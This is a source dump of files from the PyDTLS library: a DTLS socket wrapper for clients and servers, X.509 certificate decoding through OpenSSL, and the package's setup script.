61 | 62 | class _EC_KEY(_Rsrc): 63 | """EC KEY wrapper""" 64 | def __init__(self, value): 65 | super(_EC_KEY, self).__init__(value) 66 | 67 | def __del__(self): 68 | _logger.debug("Freeing EC_KEY: %d", self.raw) 69 | from openssl import EC_KEY_free 70 | EC_KEY_free(self._value) 71 | self._value = None 72 | -------------------------------------------------------------------------------- /pydtls/dtls/wrapper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # DTLS Socket: A wrapper for a server and client using a DTLS connection. 4 | 5 | # Copyright 2017 Björn Freise 6 | # 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # The License is also distributed with this work in the file named "LICENSE." 14 | # 15 | # Unless required by applicable law or agreed to in writing, software 16 | # distributed under the License is distributed on an "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | # See the License for the specific language governing permissions and 19 | # limitations under the License. 20 | 21 | """DTLS Socket 22 | 23 | This wrapper encapsulates the state and behavior associated with the connection 24 | between the OpenSSL library and an individual peer when using the DTLS 25 | protocol. 26 | 27 | Classes: 28 | 29 | DtlsSocket -- DTLS Socket wrapper for use as a client or server 30 | """ 31 | 32 | import select 33 | 34 | from logging import getLogger 35 | 36 | import ssl 37 | import socket 38 | from patch import do_patch 39 | do_patch() 40 | from sslconnection import SSLContext, SSL 41 | import err as err_codes 42 | 43 | _logger = getLogger(__name__) 44 | 45 | 46 | def wrap_client(sock, keyfile=None, certfile=None, 47 | cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_DTLSv1_2, ca_certs=None, 48 | do_handshake_on_connect=True, suppress_ragged_eofs=True, 49 | ciphers=None, curves=None, sigalgs=None, user_mtu=None): 50 | 51 | return DtlsSocket(sock=sock, keyfile=keyfile, certfile=certfile, server_side=False, 52 | cert_reqs=cert_reqs, ssl_version=ssl_version, ca_certs=ca_certs, 53 | do_handshake_on_connect=do_handshake_on_connect, suppress_ragged_eofs=suppress_ragged_eofs, 54 | ciphers=ciphers, curves=curves, sigalgs=sigalgs, user_mtu=user_mtu, 55 | server_key_exchange_curve=None, server_cert_options=ssl.SSL_BUILD_CHAIN_FLAG_NONE) 56 | 57 | 58 | def wrap_server(sock, keyfile=None, certfile=None, 59 | cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_DTLS, ca_certs=None, 60 | do_handshake_on_connect=False, suppress_ragged_eofs=True, 61 | ciphers=None, curves=None, sigalgs=None, user_mtu=None, 62 | server_key_exchange_curve=None, server_cert_options=ssl.SSL_BUILD_CHAIN_FLAG_NONE): 63 | 64 | return DtlsSocket(sock=sock, keyfile=keyfile, certfile=certfile, server_side=True, 65 | cert_reqs=cert_reqs, ssl_version=ssl_version, ca_certs=ca_certs, 66 | do_handshake_on_connect=do_handshake_on_connect, suppress_ragged_eofs=suppress_ragged_eofs, 67 | ciphers=ciphers, curves=curves, sigalgs=sigalgs, user_mtu=user_mtu, 68 | server_key_exchange_curve=server_key_exchange_curve, server_cert_options=server_cert_options) 69 | 70 | 71 | class DtlsSocket(object): 72 | 73 | class _ClientSession(object): 74 | 75 | def __init__(self, host, port, handshake_done=False, timeout=None): 76 | self.host = host 77 | self.port = int(port) 78 | self.handshake_done = handshake_done 79 | self.timeout = timeout 80 | self.updateTimestamp() 81 | 82 | def getAddr(self): 83 | return self.host, self.port 84 | 85 | def updateTimestamp(self): 86 | if self.timeout != None: 87 | self.last_update = time.time() 88 | 89 | def expired(self): 90 | if self.timeout == None: 91 | return False 92 | else: 93 | return (time.time() - self.last_update) > self.timeout 94 | 95 | 96 | def __init__(self, 97 | sock=None, 98 | keyfile=None, 99 | certfile=None, 100 | server_side=False, 101 | cert_reqs=ssl.CERT_NONE, 102 | ssl_version=ssl.PROTOCOL_DTLSv1_2, 103 | ca_certs=None, 104 | do_handshake_on_connect=False, 105 | suppress_ragged_eofs=True, 106 | ciphers=None, 107 | curves=None, 108 | sigalgs=None, 109 | user_mtu=None, 110 | server_key_exchange_curve=None, 111 | server_cert_options=ssl.SSL_BUILD_CHAIN_FLAG_NONE, 112 | client_timeout=None): 113 | 114 | if server_cert_options is None: 115 | server_cert_options = ssl.SSL_BUILD_CHAIN_FLAG_NONE 116 | 117 | self._ssl_logging = False 118 | self._server_side = server_side 119 | self._ciphers = ciphers 120 | self._curves = curves 121 | self._sigalgs = sigalgs 122 | self._user_mtu = user_mtu 123 | self._server_key_exchange_curve = server_key_exchange_curve 124 | self._server_cert_options = server_cert_options 125 | self._client_timeout = client_timeout 126 | 127 | # Default socket creation 128 | _sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 129 | if isinstance(sock, socket.socket): 130 | _sock = sock 131 | 132 | self._sock = ssl.wrap_socket(_sock, 133 | keyfile=keyfile, 134 | certfile=certfile, 135 | server_side=self._server_side, 136 | cert_reqs=cert_reqs, 137 | ssl_version=ssl_version, 138 | ca_certs=ca_certs, 139 | do_handshake_on_connect=do_handshake_on_connect, 140 | suppress_ragged_eofs=suppress_ragged_eofs, 141 | ciphers=self._ciphers, 142 | cb_user_config_ssl_ctx=self.user_config_ssl_ctx, 143 | cb_user_config_ssl=self.user_config_ssl) 144 | 145 | if self._server_side: 146 | self._clients = {} 147 | self._timeout = None 148 | 149 | def __getattr__(self, item): 150 | if hasattr(self, "_sock") and hasattr(self._sock, item): 151 | return getattr(self._sock, item) 152 | raise AttributeError 153 | 154 | def user_config_ssl_ctx(self, _ctx): 155 | """ 156 | 157 | :param SSLContext _ctx: 158 | """ 159 | _ctx.set_ssl_logging(self._ssl_logging) 160 | if self._ciphers: 161 | _ctx.set_ciphers(self._ciphers) 162 | if self._curves: 163 | _ctx.set_curves(self._curves) 164 | if self._sigalgs: 165 | _ctx.set_sigalgs(self._sigalgs) 166 | if self._server_side: 167 | _ctx.build_cert_chain(flags=self._server_cert_options) 168 | _ctx.set_ecdh_curve(curve_name=self._server_key_exchange_curve) 169 | 170 | def user_config_ssl(self, _ssl): 171 | """ 172 | 173 | :param SSL _ssl: 174 | """ 175 | if self._user_mtu: 176 | _ssl.set_link_mtu(self._user_mtu) 177 | 178 | def settimeout(self, t): 179 | if self._server_side: 180 | self._timeout = t 181 | else: 182 | self._sock.settimeout(t) 183 | 184 | def close(self): 185 | if self._server_side: 186 | for cli in self._clients.keys(): 187 | cli.close() 188 | else: 189 | try: 190 | self._sock.unwrap() 191 | except: 192 | pass 193 | self._sock.close() 194 | 195 | def recvfrom(self, bufsize, flags=0): 196 | if self._server_side: 197 | return self._recvfrom_on_server_side(bufsize, flags=flags) 198 | else: 199 | return self._recvfrom_on_client_side(bufsize, flags=flags) 200 | 201 | def _recvfrom_on_server_side(self, bufsize, flags): 202 | try: 203 | r, _, _ = select.select(self._getAllReadingSockets(), [], [], self._timeout) 204 | 205 | except socket.timeout: 206 | # __Nothing__ received from any client 207 | raise socket.timeout 208 | 209 | try: 210 | for conn in r: 211 | _last_peer = conn.getpeername() if conn._connected else None 212 | if self._sockIsServerSock(conn): 213 | # Connect 214 | self._clientAccept(conn) 215 | else: 216 | # Handshake 217 | if not self._clientHandshakeDone(conn): 218 | self._clientDoHandshake(conn) 219 | # Normal read 220 | else: 221 | buf = self._clientRead(conn, bufsize) 222 | if buf: 223 | self._clients[conn].updateTimestamp() 224 | if conn in self._clients: 225 | return buf, self._clients[conn].getAddr() 226 | else: 227 | _logger.debug('Received data from an already disconnected client!') 228 | 229 | except Exception as e: 230 | setattr(e, 'peer', _last_peer) 231 | raise e 232 | 233 | try: 234 | for conn in self._getClientReadingSockets(): 235 | if conn.get_timeout(): 236 | ret = conn.handle_timeout() 237 | _logger.debug('Retransmission triggered for %s: %d' % (str(self._clients[conn].getAddr()), ret)) 238 | 239 | if self._clients[conn].expired() == True: 240 | _logger.debug('Found expired session') 241 | self._clientDrop(conn) 242 | 243 | except Exception as e: 244 | raise e 245 | 246 | # __No_data__ received from any client 247 | raise socket.timeout 248 | 249 | def _recvfrom_on_client_side(self, bufsize, flags): 250 | try: 251 | buf = self._sock.recv(bufsize, flags) 252 | 253 | except ssl.SSLError as e: 254 | if e.errno == ssl.ERR_READ_TIMEOUT or e.args[0] == ssl.SSL_ERROR_WANT_READ: 255 | pass 256 | else: 257 | raise e 258 | 259 | else: 260 | if buf: 261 | return buf, self._sock.getpeername() 262 | 263 | # __No_data__ received from any client 264 | raise socket.timeout 265 | 266 | def sendto(self, buf, address): 267 | if self._server_side: 268 | return self._sendto_from_server_side(buf, address) 269 | else: 270 | return self._sendto_from_client_side(buf, address) 271 | 272 | def _sendto_from_server_side(self, buf, address): 273 | for conn, client in self._clients.iteritems(): 274 | if client.getAddr() == address: 275 | return self._clientWrite(conn, buf) 276 | return 0 277 | 278 | def _sendto_from_client_side(self, buf, address): 279 | try: 280 | if not self._sock._connected: 281 | self._sock.connect(address) 282 | bytes_sent = self._sock.send(buf) 283 | 284 | except ssl.SSLError as e: 285 | raise e 286 | 287 | return bytes_sent 288 | 289 | def _getClientReadingSockets(self): 290 | return [x for x in self._clients.keys()] 291 | 292 | def _getAllReadingSockets(self): 293 | return [self._sock] + self._getClientReadingSockets() 294 | 295 | def _sockIsServerSock(self, conn): 296 | return conn is self._sock 297 | 298 | def _clientHandshakeDone(self, conn): 299 | return conn in self._clients and self._clients[conn].handshake_done is True 300 | 301 | def _clientAccept(self, conn): 302 | _logger.debug('+' * 60) 303 | ret = None 304 | 305 | try: 306 | ret = conn.accept() 307 | _logger.debug('Accept returned with ... %s' % (str(ret))) 308 | 309 | except Exception as e: 310 | raise e 311 | 312 | else: 313 | if ret: 314 | client, addr = ret 315 | host, port = addr 316 | if client in self._clients: 317 | _logger.debug('Client already connected %s' % str(client)) 318 | raise ValueError 319 | self._clients[client] = self._ClientSession(host=host, port=port) 320 | 321 | self._clientDoHandshake(client) 322 | 323 | def _clientDoHandshake(self, conn): 324 | _logger.debug('-' * 60) 325 | conn.setblocking(False) 326 | 327 | try: 328 | conn.do_handshake() 329 | _logger.debug('Connection from %s successful' % (str(self._clients[conn].getAddr()))) 330 | 331 | self._clients[conn].handshake_done = True 332 | 333 | except ssl.SSLError as e: 334 | if e.errno == err_codes.ERR_HANDSHAKE_TIMEOUT or e.args[0] == ssl.SSL_ERROR_WANT_READ: 335 | pass 336 | else: 337 | self._clientDrop(conn, error=e) 338 | raise e 339 | 340 | def _clientRead(self, conn, bufsize=4096): 341 | _logger.debug('*' * 60) 342 | ret = None 343 | 344 | try: 345 | ret = conn.recv(bufsize) 346 | _logger.debug('From client %s ... bytes received %s' % (str(self._clients[conn].getAddr()), str(len(ret)))) 347 | 348 | except ssl.SSLError as e: 349 | if e.args[0] == ssl.SSL_ERROR_WANT_READ: 350 | pass 351 | else: 352 | self._clientDrop(conn, error=e) 353 | 354 | return ret 355 | 356 | def _clientWrite(self, conn, data): 357 | _logger.debug('#' * 60) 358 | ret = None 359 | 360 | try: 361 | _data = data 362 | if False: 363 | _data = data.raw 364 | ret = conn.send(_data) 365 | _logger.debug('To client %s ... bytes sent %s' % (str(self._clients[conn].getAddr()), str(ret))) 366 | 367 | except Exception as e: 368 | raise e 369 | 370 | return ret 371 | 372 | def _clientDrop(self, conn, error=None): 373 | _logger.debug('$' * 60) 374 | 375 | try: 376 | if error: 377 | _logger.debug('Drop client %s ... with error: %s' % (self._clients[conn].getAddr(), error)) 378 | else: 379 | _logger.debug('Drop client %s' % str(self._clients[conn].getAddr())) 380 | 381 | if conn in self._clients: 382 | del self._clients[conn] 383 | try: 384 | conn.unwrap() 385 | except: 386 | pass 387 | conn.close() 388 | 389 | except Exception as e: 390 | pass 391 | -------------------------------------------------------------------------------- /pydtls/dtls/x509.py: -------------------------------------------------------------------------------- 1 | # X509: certificate support. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """X509 Certificate 20 | 21 | This module provides support for X509 certificates through the OpenSSL library. 22 | This support includes mapping certificate data to Python dictionaries in the 23 | manner established by the Python standard library's ssl module. This module is 24 | required because the standard library's ssl module does not provide its support 25 | for certificates from arbitrary sources, but instead only for certificates 26 | retrieved from servers during handshaking or get_server_certificate by its 27 | CPython _ssl implementation module. This author is aware of the latter module's 28 | _test_decode_certificate function, but has decided not to use this function 29 | because it is undocumented, and because its use would tie PyDTLS to the CPython 30 | interpreter. 31 | """ 32 | 33 | from logging import getLogger 34 | from openssl import * 35 | from util import _Rsrc, _BIO 36 | 37 | _logger = getLogger(__name__) 38 | 39 | 40 | class _X509(_Rsrc): 41 | """Wrapper for the cryptographic library's X509 resource""" 42 | def __init__(self, value): 43 | super(_X509, self).__init__(value) 44 | 45 | def __del__(self): 46 | _logger.debug("Freeing X509: %d", self.raw) 47 | X509_free(self._value) 48 | self._value = None 49 | 50 | 51 | class _STACK(_Rsrc): 52 | """Wrapper for the cryptographic library's stacks""" 53 | def __init__(self, value): 54 | super(_STACK, self).__init__(value) 55 | 56 | def __del__(self): 57 | _logger.debug("Freeing stack: %d", self.raw) 58 | sk_pop_free(self._value) 59 | self._value = None 60 | 61 | def decode_cert(cert): 62 | """Convert an X509 certificate into a Python dictionary 63 | 64 | This function converts the given X509 certificate into a Python dictionary 65 | in the manner established by the Python standard library's ssl module. 66 | """ 67 | 68 | ret_dict = {} 69 | subject_xname = X509_get_subject_name(cert.value) 70 | ret_dict["subject"] = _create_tuple_for_X509_NAME(subject_xname) 71 | 72 | notAfter = X509_get_notAfter(cert.value) 73 | ret_dict["notAfter"] = ASN1_TIME_print(notAfter) 74 | 75 | peer_alt_names = _get_peer_alt_names(cert) 76 | if peer_alt_names is not None: 77 | ret_dict["subjectAltName"] = peer_alt_names 78 | 79 | return ret_dict 80 | 81 | def _test_decode_cert(cert_filename): 82 | """format_cert testing 83 | 84 | Test the certificate conversion functionality with a PEM-encoded X509 85 | certificate. 86 | """ 87 | 88 | cert_file = _BIO(BIO_new_file(cert_filename, "rb")) 89 | cert = _X509(PEM_read_bio_X509_AUX(cert_file.value)) 90 | return decode_cert(cert) 91 | 92 | def _create_tuple_for_attribute(name, value): 93 | name_str = OBJ_obj2txt(name, False) 94 | value_str = decode_ASN1_STRING(value) 95 | return name_str, value_str 96 | 97 | def _create_tuple_for_X509_NAME(xname): 98 | distinguished_name = [] 99 | relative_distinguished_name = [] 100 | level = -1 101 | for ind in range(X509_NAME_entry_count(xname)): 102 | name_entry_ptr = X509_NAME_get_entry(xname, ind) 103 | name_entry = name_entry_ptr.contents 104 | if level >= 0 and level != name_entry.set: 105 | distinguished_name.append(tuple(relative_distinguished_name)) 106 | relative_distinguished_name = [] 107 | level = name_entry.set 108 | asn1_object = X509_NAME_ENTRY_get_object(name_entry_ptr) 109 | asn1_string = X509_NAME_ENTRY_get_data(name_entry_ptr) 110 | attribute_tuple = _create_tuple_for_attribute(asn1_object, asn1_string) 111 | relative_distinguished_name.append(attribute_tuple) 112 | if relative_distinguished_name: 113 | distinguished_name.append(tuple(relative_distinguished_name)) 114 | return tuple(distinguished_name) 115 | 116 | def _get_peer_alt_names(cert): 117 | ret_list = None 118 | ext_index = -1 119 | while True: 120 | ext_index = X509_get_ext_by_NID(cert.value, NID_subject_alt_name, 121 | ext_index) 122 | if ext_index < 0: 123 | break 124 | if ret_list is None: 125 | ret_list = [] 126 | ext_ptr = X509_get_ext(cert.value, ext_index) 127 | method_ptr = X509V3_EXT_get(ext_ptr) 128 | general_names = _STACK(ASN1_item_d2i(method_ptr.contents, 129 | ext_ptr.contents.value.contents)) 130 | for name_index in range(sk_num(general_names.value)): 131 | name_ptr = sk_value(general_names.value, name_index) 132 | if name_ptr.contents.type == GEN_DIRNAME: 133 | name_tuple = "DirName", \ 134 | _create_tuple_for_X509_NAME(name_ptr.contents.d.directoryName) 135 | else: 136 | name_str = GENERAL_NAME_print(name_ptr) 137 | name_tuple = tuple(name_str.split(':', 1)) 138 | ret_list.append(name_tuple) 139 | 140 | return tuple(ret_list) if ret_list is not None else None 141 | -------------------------------------------------------------------------------- /pydtls/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # PyDTLS setup script. 3 | 4 | # Copyright 2017 Ray Brown 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # The License is also distributed with this work in the file named "LICENSE." 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | 20 | """PyDTLS setup script 21 | 22 | Install or create a distribution of the PyDTLS package. 23 | """ 24 | 25 | from os import path, remove 26 | from shutil import copy2, rmtree 27 | from argparse import ArgumentParser 28 | from pickle import dump, load 29 | from setuptools import setup 30 | 31 | NAME = "Dtls" 32 | VERSION = "1.2.3" 33 | 34 | if __name__ == "__main__": 35 | # Full upload sequence for new version: 36 | # 1. python setup.py bdist_wheel 37 | # 2. python setup.py bdist_wheel -p win32 38 | # 3. python setup.py bdist_wheel -p win_amd64 39 | # 4. twine upload dist/* 40 | 41 | parser = ArgumentParser(add_help=False) 42 | parser.add_argument("-h", "--help", action="store_true") 43 | parser.add_argument("command", nargs="*") 44 | parser.add_argument("-p", "--plat-name") 45 | args = parser.parse_known_args()[0] 46 | dist = "bdist_wheel" in args.command and not args.help 47 | plat_dist = dist and args.plat_name 48 | if dist: 49 | from pypandoc import convert 50 | long_description = convert("README.md", "rst")\ 51 | .translate({ord("\r"): None}) 52 | with open("README.rst", "wb") as readme: 53 | readme.write(long_description) 54 | else: 55 | #long_description = open("README.rst").read() 56 | long_description = "" 57 | top_package_plat_files_file = "dtls_package_files" 58 | if dist: 59 | if plat_dist: 60 | prebuilt_platform_root = "dtls/prebuilt" 61 | if args.plat_name == "win32": 62 | platform = "win32-x86" 63 | elif args.plat_name == "win_amd64": 64 | platform = "win32-x86_64" 65 | else: 66 | raise ValueError("Unknown platform") 67 | prebuilt_path = prebuilt_platform_root + "/" + platform 68 | config = {"MANIFEST_DIR": prebuilt_path} 69 | execfile(prebuilt_path + "/manifest.pycfg", config) 70 | top_package_plat_files = map(lambda x: prebuilt_path + "/" + x, 71 | config["FILES"]) 72 | # Save top_package_plat_files with the distribution archive 73 | with open(top_package_plat_files_file, "wb") as fl: 74 | dump(top_package_plat_files, fl) 75 | else: 76 | top_package_plat_files = [] 77 | else: 78 | # Load top_package_files from the distribution archive, if present 79 | try: 80 | with open(top_package_plat_files_file, "rb") as fl: 81 | top_package_plat_files = load(fl) 82 | except IOError: 83 | top_package_plat_files = [] 84 | top_package_extra_files = ["NOTICE", 85 | "LICENSE", 86 | "README.md", 87 | "ChangeLog"] + top_package_plat_files 88 | if dist: 89 | for extra_file in top_package_extra_files: 90 | copy2(extra_file, "dtls") 91 | top_package_extra_files = [path.basename(f) 92 | for f in top_package_extra_files] 93 | setup(name=NAME, 94 | version=VERSION, 95 | description="Python Datagram Transport Layer Security", 96 | author="Ray Brown", 97 | author_email="code@liquibits.com", 98 | url="https://github.com/rbit/pydtls", 99 | license="Apache-2.0", 100 | classifiers=[ 101 | 'Development Status :: 5 - Production/Stable', 102 | 'Intended Audience :: Developers', 103 | 'Topic :: Security :: Cryptography', 104 | 'Topic :: Software Development :: Libraries :: Python Modules', 105 | 'License :: OSI Approved :: Apache Software License', 106 | 'Operating System :: POSIX :: Linux', 107 | 'Operating System :: Microsoft :: Windows', 108 | 'Programming Language :: Python :: 2.7', 109 | ], 110 | long_description=long_description, 111 | packages=["dtls", "dtls.demux", "dtls.test"], 112 | package_data={"dtls": top_package_extra_files, 113 | "dtls.test": ["makecerts", 114 | "makecerts_ec.bat", 115 | "openssl_ca.cnf", 116 | "openssl_server.cnf", 117 | "certs/*.pem"]}, 118 | data_files=[('', [top_package_plat_files_file])] if plat_dist else [] 119 | ) 120 | if dist: 121 | remove("README.rst") 122 | for extra_file in top_package_extra_files: 123 | remove("dtls/" + extra_file) 124 | if plat_dist: 125 | remove(top_package_plat_files_file) 126 | rmtree("Dtls.egg-info", True) 127 | rmtree("build", True) 128 | --------------------------------------------------------------------------------